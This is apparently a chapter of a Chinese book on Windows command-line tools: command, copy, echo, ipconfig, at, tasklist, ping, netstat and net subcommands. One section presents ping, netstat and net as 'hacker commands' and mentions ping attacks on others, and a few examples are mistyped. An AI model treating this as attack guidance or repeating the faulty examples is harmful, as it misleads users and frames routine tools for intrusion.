CMD是微软Windows系统的一个32位命令行程序，是进入命令提示符窗口的一个纽带，运行在Windows NT/2000/XP/7上。通过CMD命令进入命令提示符窗口，则将会显示Windows的版本和版权信息。通过使用CMD命令可以很方便地进入其他子应用程序。

3.1.1　命令行调用的command命令

在Windows操作系统中，command命令可以实现DOS下的大部分功能。在DOS启动时，该命令会先执行并载入内部命令代码，对用户输入的命令进行解释并执行。

1.语法格式

COMMAND  [[drive:]path] [device] [/E:nnnnn][/Y[/C command|/K command]]

在CONFIG.SYS文件中，使用下列语法：

SHELL=[[dos-drive:]dos-path] COMMAND.COM[[drive:]path][drive]

[/E:nnnnn] [/p[/MSG]]

2.参数说明

·[drive：]path：当程序的瞬时部分需要重新装载时，指定命令编译器从哪里寻找到COMMAND.COM文件。如果COMMAND.COM文件不被定位于根目录，在第一次加载COMMAND.COM时，这个参数必须包含在内。这个参数用于设置COMSPEC环境变量。

·Device：为命令行的输入和输出指定一个不同的设备。

·[dos-drive：]dos-path：指定COMMAND.COM文件的位置。

·/C string：指定命令编译器执行通过string来定义的命令，随后退出该命令。

·/E：nnnnn：指定环境的尺寸，nnnnn是用字节表示的尺寸。nnnnn的值务必在160~32768范围内。MS-DOS将这个数字向上取值到16字节的倍数（默认值为256）。

·/K filename：运行指定的程序或批处理文件夹，再显示MS-DOS命令提示符。对于为Windows的MS-DOS Promtp模式指定一个不同于C：\AUTOEXEC.BAT的启动文件，这个开关特别有用（要完成这项操作，可用PIF Editor打开DOSPRMPT.PIF文件，在Optional Parameters文本框内输入/K开关）。不推荐在CONFIG.SYS文件中的shell命令行上使用/K开关，这样做会导致应用程序和使AUTOEXEC.BAT文件发生改变的安装程序出现问题。

·/P：仅当COMMAND命令和SHELL命令一起被使用在CONFIG.SYS文件中时，才应该使用这个开关。/P开关使命令编译器的新copy能够持久存在。既然这样，EXIT命令就不能用于终止命令编译器。如果指定/P开关，MS-DOS将在显示命令提示符之前执行AUTOEXEC.BAT文件。如果在启动驱动器的根目录中没有AUTOEXEC.BAT文件夹，则MS-DOS代为执行DATE命令和TIME命令。如果在CONFIG.SYS文件中没有SHELL命令，COMMAND.COM就会从根目录被自动加载，而且带有/P开关。

·/MSG：指定所有的错误信息将被存储在内存中。通常情况下，有些信息只被存储在磁盘中。只有从软盘运行MS-DOS时，这个开关才会有用。在使用/MSG开关时，必须指定/P开关。

·/Y：使COMMAND.COM全程跟踪用/C或/K开关定义的批处理文件。这个开关对调试批处理文件有用。例如，要一行一行地全程跟踪TEST.BAT批处理文件，则应当输入COMMAND/Y/C TEST命令。/Y开关需要/C开关和/K开关的其中之一。

<SHELL>命令是应用command命令对环境表增加永久空间的首选方法。

3.典型示例

以下命令指定了MS-DOS命令编译器将从当前程序启动一个新的命令编译器，执行名为MYBAT.BAT的批处理文件之后，再返回到第一个命令编译器：Command/c mybat.bat。

下列CONFIG.SYS命令指定了COMMAND.COM被定位于C盘驱动器上的DOS目录：

Shell=c:\dos\command.com c:\dos\/e:1024

这条命令指挥MS-DOS将COMSPEC环境变量设置为C：\DOS\COMMAND.COM。同时，也为本命令编译器创建了一个1024字节的环境。

3.1.2　复制命令

copy在英文中是复制的意思，所谓复制就是原来的文件并没有任何改变，重新产生了一个内容和原来文件没有任何差别的文件。复制（copy）命令主要用于复制一个或更多个文件到指定的位置，该命令可以被用于合并文件，当有一个文件被复制时，MS-DOS复制一个文件，并显示一个文件名。

1.语法

copy  [/A|/B]source [/A|/B] [+source[/A|/B][+ … ]][destination [/A|/B]][/V]

2.参数说明

·source：指定要复制的一个或一组文件的位置和名称。目标文件可以由一个驱动器符、一个目录名、一个文件名及一个合并符组成。

·destination：给用户要复制到的一个或一组文件的位置和名称，文件源可以由一个驱动符、一个目录名以及一个合并符组成。

·/A：对于一个ASCII文本文件，当/A开关位于命令行上的文件名列表之前时，它将应用于所有名称跟在/A开关后面的文件，一直到copy命令遇到一个/B开关，在这个容器中，/B开关将应用于名称位于它之前的文件。当/A开关跟在一个文件名后面时，它将应用于名称位于/A开关之前的文件，以及名称位于它之前的文件。ASCII文本文件可以用一个文末符（Ctrl+Z）来表示文件结束。在默认情况下，当合并文件时，copy命令文件视作为ASCII文本文件。

对于一个二进制文件，当/B开关位于命令行上的文件名列表之前时，它将应用于所有名称跟在/B开关后面的文件，一直到copy命令遇到一个/A开关，在这个容器中，/A开关将应用于名称位于它之前的文件。

当/B开关跟在一个文件名后面时，它将应用于名称位于/B开关之前的文件以及名称位于/B开关后面的所有文件，直到copy命令遇到一个/A开关，在这个容器中，/A开关将应用于名称位于它之前的文件。/B开关指定命令编译器读取由目录中的文件大小指定的字节数。/B开关是copy命令的默认值，除非copy命令用来合并文件。

·/V：校验文件是否被正确写入。

3.典型示例

下面讲述一个copy命令应用的实例，具体的操作步骤如下：

步骤1：在复制一个文件的同时，确保文末符在已复制文件的末端，运行“copy 1.doc 2.doc/a”命令之后，即可显示如图3-1所示的结果。其中还会显示“改写2.doc吗？<Yes/No/All>：”，在这里键入“Y”，即可显示已复制信息。

图3-1　同一磁盘上相同扩展名文件复制图

步骤2：输入“copy robin.typ c：\birds”命令，即可将一个名称为robin.typ的文件，从当前驱动器的当前目录复制到C盘驱动器一个名为birds的现存目录。如果birds目录不存在，MS-DOS则会把文件robin.typ复制到C盘驱动器根目录下一个名为birds的文件中。

步骤3：要把几个文件复制成为一个文件，可以在copy命令行中列出任意个文件作为source（源）参数，用加号（+）分隔文件，并为组合成的结果文件指定一个文件名（命令格式如copy mar89.rpt+apr89.rpt+may89.rpt report）。

这条命令将当前驱动器当前目录中名为mar89.rpt、apr89.rpt和may89.rpt的文件合并为一个名为report的文件，并将其放在当前驱动器的当前目录中。当文件被合并时，目录文件以当前日期和当前时间被创建。如果忽略了目标文件，MS-DOS也将合并文件，并将其存储在指定的第一个文件名下面。如果一个名为report的文件已存在，则可用“Copy report+mar89.rpt+apr89.rpt+may89.rpt”命令将这4个文件合并到report文件中，或通过使用通配符将几个文件合并到一个文件中，如图3-2所示。此时如果显示“改写ssn.doc吗？<Yes/No/All>：”的提示信息，则键入“Y”，即可显示复制信息情况。

图3-2　使用通配符实现文件复制图

如果键入“copy*.txt ssn.doc”命令，即可将当前驱动器当前目录下所有扩展名为.txt的文件合并到一个名为SSN.DOC的文件中，这个文件也在当前驱动器的当前目录中。如果想通过使用通配符把几个二进制文件合并到一个文件，则需要将/B开关包含进去，此时即可键入“copy/b*.exe combin.exe”命令。

在使用copy命令时，copy是以文件对文件的方式复制数据，复制前目标盘必须已格式化；在复制过程中，目标盘上相同文件名称的旧文件会被源文件取代；在复制文件时，必须先确定目标盘有足够的空间，否则会出现insufficient的错误信息，提示磁盘空间不够；文件名中允许使用通配符“*”和“？”，可同时复制多个文件；copy命令中源文件名必须指出，不可以省略。

在进行copy命令复制时，目标文件名可与源文件名相同，称作“同名复制”，此时目标文件名可省略；复制时目标文件名也可以与源文件名不相同，称作“异名复制”，此时，目标文件名不能省略；复制时，还可以将几个文件合并为一个文件，称为“合并复制”，格式为“copy[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉”。

利用copy命令，还可以从键盘上输入数据建立文件，格式为“copy CON[盘符：][路径]〈文件名〉”；在copy命令的使用格式中，源文件名与目标文件名之间必须有空格。

3.1.3　打开/关闭请求回显功能的echo命令

echo命令可用来显示或隐藏DOS状态屏幕显示的内容。在*.bat文件第一行加上echo off，以后的屏幕输出命令（包括其他命令产生的提示）都会消失，比如在echo off的下一行使用dir，结果是光标原地闪烁，屏幕无显示。使用echo on可解除echo off命令。

语法：echo[{on|off}][message]

·on：可以显示所执行的每个命令。

·off：不显示命令行，只显示命令的输出结果。

·message：要显示的提示信息。

在批处理文件运行时屏幕上并没有显示Autoexec.bat文件中的命令，主要是因为用了echo命令，在批处理文件的首行加上echo off命令行（即@echo off）之后，就可以禁止批处理程序中的命令正文显示到屏幕上了。

如果只想让某一行的命令显示在屏幕上，则可以在这一行命令的前面加上echo命令。例如，要显示暂停命令pause执行时的状态，则可在Autoexec.bat中pause命令前加上echo（即echo pause）。这样，当执行到PAUSE命令时，就会在屏幕上显示出pause命令状态。

在相同命令行上可以使用if和echo命令，如If exist*.rpt echo The report has arrived。如果想要所有运行的命令都不显示命令行本身，则键入“@echo off”命令行。如果想要显示如图3-3所示的“hello world”字样，则键入“echo hello world”命令行。

图3-3　使用echo命令查看回显内容

3.1.4　查看网络配置的ipconfig命令

ipconfig是调试计算机网络的常用命令，通常大家使用它显示计算机中网络适配器的IP地址、子网掩码及默认网关。其实这只是ipconfig的不带参数用法，而它的带参数用法，在网络应用中也是相当不错的。

1.语法

ipconfig [/all] [/renew[Adapter]] [/release[Adapter]] [/flushdns] [/displaydns] [/registerdns]  [/showclassid Adapter] [/setclassid Adapter[ClassID]]

2.参数说明

·/all：显示所有适配器的完整TCP/IP配置信息。在没有该参数的情况下，ipconfig只显示IP地址、子网掩码和各个适配器的默认网关值。适配器可以代表物理接口（例如安装的网络适配器）或逻辑接口（例如拨号连接）。

·/renew[adapter]：更新所有适配器（如果未指定适配器）或特定适配器（如果包含了Adapter参数）的DHCP配置。该参数仅在具有配置为自动获取IP地址网卡的计算机上可用。要指定适配器名称，请键入使用不带参数的ipconfig命令显示的适配器名称。

·/release[adapter]：发送DHCPRELEASE消息到DHCP服务器，以释放所有适配器（如果未指定适配器）或特定适配器（如果包含了Adapter参数）的当前DHCP配置并丢弃IP地址配置。该参数可以禁用配置为自动获取IP地址的适配器的TCP/IP。要指定适配器名称，请键入使用不带参数的ipconfig命令显示的适配器名称。

·/flushdns：清理并重设DNS客户解析器缓存的内窗。如有必要，在DNS疑难解答期间，可以使用本过程从缓存中丢弃否定性缓存记录和任何其他动态添加的记录。

·/displaydns：显示DNS客户解析器缓存的内容，包括从本地主机文件预装载的记录以及由计算机解析的名称查询而获得的任何资源记录。DNS客户服务在查询配置的DNS服务器之前使用这些信息快速解析被频繁查询的名称。

·/registerdns：初始化计算机上配置的DNS名称和IP地址的手工动态注册。可以使用该参数对失败的DNS名称注册进行疑难解答，或解决客户和DNS服务器之间的动态更新问题，而不必重新启动客户计算机。TCP/IP协议高级属性中的DNS设置，可以确定DNS中注册了哪些名称。

·/showclassid Adapter：显示指定适配器的DHCP类别ID。要查看所有适配器的DHCP类别ID，可以使用星号（*）通配符代替Adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。

·/setclassid Adapter[ClassID]：配置特定适配器的DHCP类别ID。要设置所有适配器的DHCP类别ID，可以使用星号（*）通配符代替Adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。如果未指定DHCP类别ID，则会删除当前类别ID。

·/？：在命令提示符显示帮助。

3.典型示例

ipconfig命令是网络管理员运用最频繁的命令，下面通过几个例子介绍一下这个命令的具体使用方法。

1）如果想要查看计算机的IP地址信息，则键入“ipconfig”命令，即可显示该计算机的IP地址信息，如图3-4所示。

2）若想查看所有适配器的完整TCP/IP配置信息，包括所有适配器的IP地址、子网掩码和默认网关，还包括主机的相关配置信息，如主机名、DNS服务器、节点类型、网络适配器的物理地址等，则在命令提示符下键入“ipconfig/all”命令，其运行结果显示如图3-5所示。

图3-4　查看IP地址信息

图3-5　查看完整TCP/IP配置信息

3）若想在排除DNS的名称解析故障期间清理DNS解析器缓存，则应键入“ipconfig/flushdns”命令，运行结果显示如图3-6所示。

4）若想显示名称以local开头的所有适配器的DHCP类别ID，应键入“ipconfig/showclassid local*”命令。如果存在适配器，则将会显示出来，若找不到，则将显示如图3-7所示信息。

图3-6　查看清理DNS解析器缓存信息

图3-7　查看以local开头的所有适配器信息

使用ipconfig还需要注意如下几点：

·ipconfig命令适用于配置为自动获取IP地址的计算机，使用户可以确定哪些TCP/IP配置值是由DHCP、自动专用IP地址（APIPA）和其他配置的。

·如果Adapter名称包含空格，请在该适配器名称两边使用引号（即“Adapter Name”）。

·对于适配器名称，ipconfig可以使用星号（*）通配符字符指定名称为指定字符串开头的适配器，或名称包含有指定串的适配器。例如，local*可以匹配所有以字符串local开头的适配器，而*con*可以匹配所有包含字符串con的适配器。

·只有当网际协议（TCP/IP）在“网络连接”中安装为网络适配器属性的组件时，该命令才可用。

3.1.5　命令行任务管理器的at命令

at命令是计划在指定时间和日期在计算机上运行命令和程序。at命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则at命令将列出已计划的命令。

1.语法

at[\\ComputerName] [{[ID][/delete]|/delete[/yes]}]

at[\\ComputerName]hours:minutes[/interactive][{/every:date[, … ]|/next:date[, … .]}]command]

2.参数说明

·\\ComputerName：指定远程计算机。如果省略该参数，则at用于计划本地计算机上的命令和程序。

·ID：指定指派给已计划命令的识别码。

·/delete：取消已计划的命令。如果省略了ID，则计算机中所有已计划的命令将被取消。

·/yes：删除已计划的事件时，对来自系统的所有询问都回答“是”。

·hours：minutes：指定命令运行的时间。该时间用24小时制（即从00：00[午夜]到23：59）的小时：分钟格式表示。

·/interactive：对于在运行command时登录的用户，允许command与该用户的桌面进行交互。

·/every：date：在每个星期或每个月的指定日期（如：每个周四，或第几月的第三天）运行command命令。可以指定一周的某日或多日（即，键入M、T、W、Th、F、S、Su）或一个月中的某日或多日（即，键入1~31之间的数字）。用逗号分隔多个日期项。如果省略了date，则at使用该月的当前日。

·/next：date：在下一个指定的日期（例如，下一个周四）到来时运行command。

·command：指定要运行的Windows命令、程序（.exe或.com文件）或批处理程序（.bat或.cmd文件）。当命令需要路径作为参数时，应使用绝对路径，也即从驱动器号开始的整个路径。如果命令在远程计算机上，应指定服务器和共享名的通用命名协定（UNC）符号，而不是远程驱动器号。

3.at命令使用详解

使用at命令时还可能实现如下几个作用。

1）schtasks命令：schtasks命令是一个功能更为强大的超级命令行计划工具，它含有at命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用schtasks来代替at.使用at命令时，要求您必须是本地Administrators组成的成员。

2）加载cmd.exe：在运行命令之前，at不会自动加载cmd.exe（命令解释器）。如果没有运行可执行文件（.exe），则在命令开头必须使用“Cmd/c dir>c：\test.out”专门加载cmd.exe。

3）查看已计划的命令：当不带参数使用at时，将显示本地计算机全部计划任务列表。

Status ID Day Time Command Line

OK 1 Each F 4:30PM net  send group leads status due

OK 2 Each M 12:00 AM chkstor>check.file

OK 3 Each F 11:59 PM  backup2.bat

4）包含标识号（ID）：当在命令提示下使用带有标识号（ID）的at命令时，单个任务项的信息会显示在类似下面格式中。

Task ID:       1

Status:OK

Schedule:Each  F

Time of Day:4:30 PM

Command:net send group leads status due

当计划带有at的命令（尤其是带有命令行选项的命令）之后，通过键入不带命令行选项的at命令，即可检查该命令语法是否输入正确。如果显示在“命令行”列表中的信息不正确，则应在删除该命令之后再重新键入它。如果还不正确，则可以在重新键入该命令时，让其少带些命令行选项。

5）查看结果：使用at命令制订的计划将仅作为后台程序运行，运行结果不会显示在计算机上。要将输出重定向到文件，应使用重定向符号（>）。如果将输出重定向到文件，则不论是在命令行还是在批处理文件中使用at，都需要在重定向符号之前使用转义符（^）。例如要重定向输出到output.text文件，则可以键入“at 14：30 c：\output.txt.”命令。

6）更改系统时间：在使用at命令计划了要运行的命令之后，如果更改了计算机的系统时间，则通过键入不带命令行选项的at命令，可使at计划程序与修改后的系统时间同步。

7）存储命令：已计划的命令存储在注册表中。这样，如果重新启动“计划”服务，则不会丢失计划任务。

8）连接到网络驱动器：对于需要访问网络的计划作业，请不要使用已重定向的驱动器。“计划”服务可能无法访问这些重定向驱动器，或在该计划任务运行时，如果有其他用户登录，则这些重定向的驱动器可能不会出现。

因此，对于计划作业，应使用UNC路径。例如：At 1：00pm my_backup\\server\share，如果计划了一个使用驱动器号的at命令来连接共享目录，则应包含一个at命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接，则在命令提示下，所指派的驱动器号将不可用。

4.典型示例

下面是几个at命令的应用实例，希望对大家有所帮助。

1）若想要显示Office服务器上已计划的命令列表，则应键入“At\\Office”命令。

2）若想要中午12：00在company服务器上运行网络共享命令，并将该列表定向到Maintenance服务器的Company.txt文件（位于Reports共享目录下）中，则应键入“At\\company 12：00 cmd/c"netsharereports=d：\office\reports>>\\maintenance\reports\company.txt"”命令。

3）如果想离开计算机，但它又正在进行工作，这时就要用到自动关机。Windows XP具备定时关机的功能。如果想让Windows 2000也实现同样的效果，则可把shutdown.exe复制到系统目录下。例如，想在23：00关机，则可以输入“At 23：00 shutdown-s”命令。这样，到了23：00计算机就会出现“系统关机”对话框，默认有30s的倒计时并提示用户保存工作。

4）如果想以倒计时的方式关机，则可以输入“Shutdown.exe–s–t 360”命令，这里表示6分钟后自动关机，“360”代表6分钟。

5）若想16点时发送信息至192.168.0.55计算机，则可以输入“At 16：00 net send 192.168.0.55与朋友约会的时候到了，快点出发吧！”命令。

3.1.6　查看系统进程信息的Tasklist命令

Tasklist命令是一个用来显示运行在本地计算机上所有进程的命令行工具，带有多个执行参数。另外，Tasklist可以替代Tlist工具。通过任务管理器，可以查看到本机完整的进程列表，而且可以通过手工定制进程列表方式获得更多进程信息（如会话ID、用户名等）。在Windows中新增的命令行工具“tasklist.exe”，可以实现查看系统服务功能。

1.语法

Tasklist[/s computer] [/u domain\user[/p password]] [/fo {TABLE|LIST|CSV}][/nh] [/fi FilterName [/fi FilterName2[ … ..]]] [/m [ModuleName]|/svc|/v]

2.参数说明

·/s computer：指定远程计算机名称或IP地址（不能使用反斜杠）。默认为本地计算机。

·/u domain\user：运行具有由user或domain\user指定用户的账户权限命令。默认值是当前登录发布命令的计算机的用户权限。

·/p password：指定用户账户的密码，该用户账户在/u参数中指定。

·/fo{TABLE|LIST|CSV}：指定输出所有的格式。有效值为TABLE、LIST和CSV。输出的默认格式为TABLE。

·/nh：取消输出结果中的列标题。当/fo参数设置为TABLE或CSV时有效。

·/fi FilterName：指定该查询包括或不包括的过程类型。

·/m[ModuleName]：指定显示每个过程的模块信息。指定模块时将显示使用此模块的所有过程。没有指定模块时将显示所有模块的所有过程。不能与/svc或/v参数一起使用。

·/svc：无间断地列出每个过程的所有服务信息。当/fo参数设置为Table时有效，不能与/m或/v参数一起使用。

·/v：指定显示在输出结果中的详细任务信息，不能与/svc或/m参数一起使用。

3.典型示例

Task命令可以查看系统进程信息，具体的使用方法如下：

1）若想查看进程的PID或进程名，则需要在命令提示符中键入“Tasklist”命令，运行结果显示运行在本地或远程计算机上所有任务的应用程序和服务列表，带有进程ID（PID）及图像名，如图3-8所示。

图3-8　查看进程的PID

2）若想显示用户的进程依附信息，则需要键入“Tasklist/M|more”命令，运行结果显示如图3-9所示。显示系统中正在运行的进程信息，同时可看到该进程目前依附的其他模块。

3）若想要显示调用指定动态连接库的进程，则键入“Tasklist/m ntdll.dll”命令，即可看到动态连接库ntdll.dll正在使用的那些进程，如图3-10所示。

图3-9　用户的进程依附信息

图3-10　调用指定动态连接库的进程

3.2　黑客常用命令

3.2.1　测试物理网络的ping命令

通过发送Internet控制消息协议（ICMP）并接收其应答，测试验证与另一台TCP/IP计算机的IP级连通性。对应的应答消息的接收情况将和往返过程的时间一起显示出来。ping是用于检测网络连接性、可到达性和名称解析的疑难问题主要TCP/IP命令。如果不带参数，ping将显示帮助。通过在命令提示符下输入“ping/？”命令，即可查看ping命令的详细说明，如图3-11所示。

图3-11　ping命令的详细说明

1.语法

ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count]{-j Hostlist|-k hostlist}] [-w Timeout] [TargetName] 

2.参数说明

·-t：指定在中断前ping可以持续发送回响请求信息到目的地。要中断并显示统计信息，可按“Ctrl+Break”组合键。要中断并退出ping，可按“Ctrl+C”组合键。

·-a：指定对目的IP地址进行反向名称解析。若解析成功，ping将显示相应的主机名。

·-n：发送指定个数的数据包。通过这个命令可以自定义发送的个数，对衡量网络速度有很大帮助。能够测试发送数据包的返回平均时间及时间快慢程度（默认值为4）。选购服务器（虚拟主机）前可以把这个作为参考。

·-l：发送指定大小的数据包。默认为32 Byte，最大值是65500 Byte。

·-f：在数据包中发送“不要分段”标志，数据包就不会被路由上的网关分段。默认发送的数据包都通过路由分段再发送给对方，加上此参数后路由就不会再分段处理了。

·-i：将“生存时间”字段设置为TTL指定的值。指定TTL值在对方系统中停留的时间，同时检查网络的运转情况。

·-v：将“服务类型”字段设置为TOS（Type Of Server）指定的值。

·-r：在“记录路由”字段中记录传出和返回数据包的路由。通常情况下，发送的数据包通过一系列路由才到达目标地址，通过此参数可设定想探测经过路由的个数，限定能跟踪到9个路由。

·-s：指定count的跃点数的时间戳。与参数-r差不多，但此参数不记录数据包返回经过的路由，最多只记录4个。

·-j：利用host-list指定的计算机列表路由数据包。连续计算机可以被中间网关分隔（路由稀疏源）IP允许的最大数量为9。

·-k：利用host-list指定的计算机列表路由数据包。连续计算机不能被中间网关分隔（路由严格源）IP允许的最大数量为9。

·-w：timeout指定超时间隔，单位为ms。

·Target Name：指定要ping的远程计算机名。

3.典型示例

利用ping命令可以快速查找局域网故障，快速搜索最快的QQ服务器，实现对别人进行ping攻击。

1）如果想要ping自己的机器，例如键入“ping 192.168.1.10”命令，如图3-12所示。

2）如果在命令提示符下键入“ Ping www.baidu.com ”命令，图中运行结果表示连接正常，所有发送的包均被成功接收，丢包率为0，如图3-13所示。

3）若想验证目的地211.84.112.29并记录4个跃点的路由，则应在命令提示符下键入“Ping–r 4211.84.112.29”命令，以检测该网络内路由器工作是否正常，如图3-14所示。

图3-12　ping 192.168.1.10结果

图3-13　 Ping www.baidu.com 结果

4）测试到网站 www.baidu.com 的连通性及所经过的路由器和网关，并只发送一个测试数据包。在命令提示符下键入“ Ping www.baidu.com–n 1–r 9 ”命令，如图3-15所示。

图3-14　Ping–r 4211.84.112.29结果

图3-15　 Ping www.baidu.com–n 1–r 9 结果

3.2.2　查看网络连接的netstat

netstat是一个监控TCP/IP网络的非常有用的工具，可以显示路由表、实际的网络连接，以及每一个网络接口设备的状态信息，可以让用户得知目前都有哪些网络连接正在运作。netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。

如果计算机有时候接收到的数据报导致出错数据或故障，不必感到奇怪，TCP/IP可以容许这些类型的错误并自动重发数据报。但如果累计出错情况数目占到所接收IP数据报相当大的百分比，或者它的数目正迅速增加，就应该使用netstat查一查为什么会出现这些情况了。

一般用“netstat-na”命令来显示所有连接的端口并用数字表示。

1.语法

netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]

2.参数说明

·-a：显示所有活动的TCP连接以及计算机侦听的TCP和UDP端口。

·-e：显示以太网统计信息，如发送和接收的字节数、数据包数。

·-n：显示活动的TCP连接，但只以数字形式表现地址和端口号，却不尝试确定名称。

·-o：显示活动的TCP连接并包括每个连接的进程ID（PID）。可在Windows任务管理器“进程”选项卡上找到基于PID的应用程序。该参数可以与-a、-n和-p结合使用。

·-p Protocol：显示Protocol所指定的协议的连接。在这种情况下，Protocol可以是TCP、UDP、TCPV6或UDPV6。

·-s：按协议显示统计信息。默认情况下，显示TCP、UDP、ICMP和IP协议的统计信息。如果安装了Windows XP的IPV6协议，则显示有关IPV6上的TCP、IPV6上的UDP、ICMPV6和IPV6协议统计信息。可以使用-p参数指定协议集。

·-r：显示IP路由表的内容。该参数与route print命令等价。

·Interval：每隔Interval秒重新显示一次选定的信息。按“Ctrl+C”组合键停止重新显示统计信息。如果省略该参数，netstat将只打印一次选定的信息。

3.netstat命令使用详解

在使用netstat命令时还可以实现如下几个功能。

1）与该命令一起使用的参数必须以连字符（—）而不是以短斜线（/）作为前缀。

2）netstat提供下列统计信息。

·Proto：协议的名称（TCP或UDP）

·Local Address：本地计算机的IP地址和正在使用的端口号码。如果不指定-n参数，则显示与IP地址和端口对应的名称。如果端口尚未建立，端口以星号（*）显示。

·Foreign Address：连接该插槽的远程计算机的IP地址和端口号码。如果不指定-n参数，就显示与IP地址和端口对应的名称。如果端口尚未建立，端口以星号（*）显示。

·（state）：表明TCP连接的状态。其中，LISTEN表示侦听来自远方TCP端口的连接请求；SYN-SENT表示再发送连接请求后等待匹配的连接请求；SYN-RECEIVED表示再收到和发送一个连接请求后，等待对方对连接请求的确认；ESTABLISHED表示一个打开的连接；FIN-WAIT-1表示等待远程TCP连接中断请求，或先前连接中断请求的确认；FIN-WAIT-2表示从远程TCP等待连接中断请求；CLOSE-WAIT表示等待从本地用户发来的连接中断请求；CLOSING表示等待远程TCP对连接中断的确认；LAST-ACK表示等待原来发向远程TCP连接中断请求的确认；TIME-WAIT表示等待足够时间以确保远程TCP接收到连接中断请求的确认；CLOSED表示没有任何连接状态。

3）只有当网际协议（TCP/IP）网络连接中安装为网络适配器属性的组件时，该命令才可用。

4）如下为netstat的一些常用选项。

·netstat-s：本选项能够按照各个协议分别显示其统计数据。如果应用程序（如Web浏览器）运行速度比较慢，或不能显示Web页之类的数据，就可以用本选项来查看一下所显示的信息。需要仔细查看统计数据的各行，找到出错的关键字，进而确定问题所在。

·netstat-e：本选项用于显示关于以太网的统计数据。它列出的项目包括传送数据报的总字节数、错误数、删除数、数据报数量和广播数量。这些统计数据既有发送的数据报数量，也有接收的数据报数量（这个选项可以用来统计一些基本的网络流量）。

·netstat-r：可以显示关于路由表的信息。除显示有效路由外，还显示当前有效的连接。

·netstat-a：本选项显示一个有效连接信息列表，包括已建立的连接（ESTABLISHED），也包括监听连接请求（LISTENING）的那些连接。

·bnetstat-n：显示所有已建立的有效连接。

4.典型示例

netstat命令可显示活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息（对于IP、ICMP、TCP和UDP协议）以及IPv6统计信息（对于IPv6、ICMPv6、通过IPv6的TCP以及通过IPv6的UDP协议）。使用时如果不带参数，Netstat将显示活动的TCP连接。

下面再介绍几个Netstat命令的应用实例，具体如下：

1）若想要显示本机所有活动的TCP连接，以及计算机侦听的TCP和UDP端口，则应键入“netstat-a”命令，如图3-16所示。

2）显示服务器活动的TCP/IP连接，则应键入“netstat-n”命令或“netstat（不带任何参数）”命令，如图3-17所示。

3）显示以太网统计信息和所有协议的统计信息，则应键入“netstat-s-e”命令，如图3-18所示。

4）检查路由表确定路由配置情况，则应键入“netstat-rn”命令，如图3-19所示。

图3-16　netstat-a结果

图3-17　netstat-n结果

图3-18　netstat-s-e结果

图3-19　netstat-rn结果

3.2.3　工作组和域的net命令

许多Windows网络命令以net开始。这些net命令有一些公共属性：通过键入net/？可查阅所有可用的net命令。通过键入net help命令，可在命令行中获得net命令的语法帮助。

在工作组中用户的一切设置在本机上进行，密码放在本机的数据库中验证。如果用户的计算机加入域，则各种策略由域控制器统一设定，用户名和密码也需到域控制器去验证，即用户的账号和密码可在同一域中任何一台计算机上登录，这样做主要是为了便于管理。

下面来介绍几个常用的net子命令。

1.net accounts

作用：更新用户账号数据库、更改密码及所有账号的登录要求。必须要在更改账号参数的计算机上运行网络登录服务。

命令格式：net accounts[/forcelogoff：{minutes|no}][/minpwlen：length][/maxpwage：{days|unlimited}][/minpwage：days][/uniquepw：number][/domain]或net accounts[/sync][/domain]

·输入不带参数的“net accounts”命令，用于显示当前密码设置、登录时限及域信息。

·/forcelogoff：{minutes|no}：设置当用户账号或有效登录时间过期时，结束用户和服务器会话前的等待时间。no选项禁止强行注销（该参数的默认设置为no）。

·/minpwlen：length：设置用户账号密码的最少字符数。允许范围为0~14，默认值为6。

·/maxpwage：{days|unlimited}：设置用户账号密码有效的最大天数。unlimited不设置最大天数。/maxpwage选项的天数必须大于/minpwage。允许范围是1~49，710天（unlimited），默认值为90天。

·/minpwage：days：设置用户必须保持原密码的最小天数。0值不设置最小时间。允许范围为0~49710天，默认值为0天。

·/uniquepw：number要求用户更改密码时，必须在经过number次后，才能重复使用与之相同的密码。允许范围为0~8，默认值为5。

·/domain：在当前域的主域控制器上执行该操作。否则只在本地计算机执行操作。

·/sync：当用于主域控制器时，该命令使域中所有备份域控制器同步；当用于备份域控制器时，该命令仅使该备份域控制器与主域控制器同步，仅适用于Windows NT Server域成员的计算机。

2.net file

作用：用于关闭一个共享的文件并且删除文件锁。

命令格式：net file[id[/close]]

·id：指文件的标识号。

·/close：关闭一个打开的文件且删除文件上的锁。可在文件共享服务器上输入该命令。

3.net config

作用：显示运行的可配置服务，或显示并更改某项服务的设置。

命令格式：net pause server

·输入不带参数的“net config”命令，用于显示可配置服务的列表。

·service：通过“net config”命令进行配置的服务（server或workstation）。

·options：为服务的特定选项。

4.net computer

作用：从域数据库中添加或删除计算机。

命令格式：net computer\\computername{/add|/del}

·\\computername：指定要添加到域或从域中删除的计算机。

·/add：指定计算机添加到域。

·/del：指定计算机从域中删除。

5.net continue

作用：重新激活挂起的服务。

命令格式：net continue server

6.net view

作用：显示域列表、计算机列表或指定计算机的共享资源列表。

命令格式：net view[\\computername|/domain[omainname]]

·输入不带参数的net view显示当前域的计算机列表。

·\\computername：指定要查看其共享资源的计算机名称，如图3-20所示。

·/domain[omainname]：指定要查看其可用计算机的域。

图3-20　查看指定计算机的共享资源

7.net user

作用：添加或更改用户账号或显示用户账号信息。该命令也可以写为net users。

命令格式：net user[username[password|*][options]][/domain]

·输入不带参数的net user查看计算机上的用户账号列表，如图3-21所示。

·username：添加、删除、更改或查看用户账号名。

·password：为用户账号分配或更改密码。密码必须满足net accounts命令的/minpwlen选项中的密码最小长度，最多可以有127个字符。

·/domain：在计算机主域控制器中执行操作。

8.net use

作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。

命令格式：net use[devicename|*][\\computername\sharename[\volume]][password|*][/user：[domainame\]username][/delete]|[/persistent：{yes|no}]]

参数介绍：输入不带参数的net use列出网络连接，如图3-22所示。

图3-21　查看计算机上的用户账号列表

图3-22　查看网络连接

9.net start

命令格式：net start server

